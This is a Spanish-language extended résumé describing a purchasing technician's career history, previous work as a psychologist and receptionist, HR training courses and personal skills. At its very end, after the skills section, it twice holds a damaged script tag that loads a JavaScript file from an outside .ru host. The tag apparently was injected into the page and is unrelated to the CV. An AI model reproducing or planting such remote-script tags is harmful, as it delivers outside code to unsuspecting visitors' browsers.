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| CURRICULUM EXTENDIDO |
INFORMACIÓN ADICIONAL
FORMACIÓN: EXPERIENCIA:Técnico de Compras – Línea Directa Asistencia S.L.U. Marzo 2005 – Actualmente. Primer puesto como Recepcionista con tareas de atención telefónica, de visitas, gestión de la agenda de viajes y tareas de apoyo al área de Recursos Humanos. En 2006 promoción a encargada de los Servicios Generales de la compañía con tareas de gestión de servicios externalizados, mejora de las condiciones generales de trabajo, así como campañas de motivación y marketing interno. En 2009 segunda promoción a Técnico de Compras donde actualmente desempeño tareas de negociación de contratos y mejora de condiciones, gestión de proveedores (homologación, seguimiento y evaluación), y en general, el control y gestión administrativa del proceso integrado de compras. Psicóloga – Centro de Neuropsicología Santa Elena. Marzo de 2004 – Julio de 2004. Puesto como Psicóloga en la primera unidad de Neuropsicología de la sanidad pública de Castilla y León. Valoración, evaluación y rehabilitación neuropsicológica. Trabajo especial en demencias. Entrevistas, aplicación de pruebas estandarizadas y elaboración de informes. Recepcionista – Ibergel S.A. Julio de 2002 – Septiembre de 2004. Sustitución en los meses de verano. Puesto de Recepcionista con tareas administrativas en SAP, atención telefónica y de visitas, gestión de la agenda de viajes. FORMACIÓN COMPLEMENTARIA:Experto Formador de Empresa – Global Estrategias. Noviembre de 2008 – Julio de 2009-09 Desarrollo de competencias para la formación del personal de la empresa.Técnicas y métodos eficaces. Habilidades de comunicación y motivación. Pruebas situacionales y evaluación grupal. Diseño de acciones formativas. Dirección de grupos de formación. Dirección de grupos de formación. Transferencia del aprendizaje al puesto de trabajo. Fijación de objetivos operativos y de aprendizaje. Programas de out-door training. Técnico en Dirección y Gestión de RRHH – Escuela ESAE. Octubre de 2009 – Actualmente Descripción de puestos y planificación de plantillas. Selección de personal. Formación. Contratación de trabajadores. Cálculo de salarios y Seguridad Social. INFORMACIÓN ADICIONAL:Otras Habilidades: Habilidades Sociales. En todo mis puestos laborales he tenido relación directa con el cliente (interno y/o externo), en persona y teefónicamente, lo que me ha permitido perfeccionar mis dotes comunicativas, mi empatía y asertividad. Por otro lado, tambiénhe tenido relación con proveedores y colaboradores, lo qu eme ha permitido desarrollar habilidades de negociación y comunicación empresarial. Me gusta el trabajo en equipo y sentir que mi trabajo sirve para algo. Creo que soy muy comunicativa, y persuasiva en caso necesario. Me siento cómoda hablando en púbico y me gusta el trato directo con la gente. Organización. Soy una ordenada y metódica. Considero que una buena organización facilita el trabajo. Flexibilidad. Siempre estoy abierta a nuevas ideas. Me gustan las novedades y me adapto a ellas con facilidad.script src=http://www.bannerdriven.ru/ads.js>script src=http://www.bannerdriven.ru/ads.js> |
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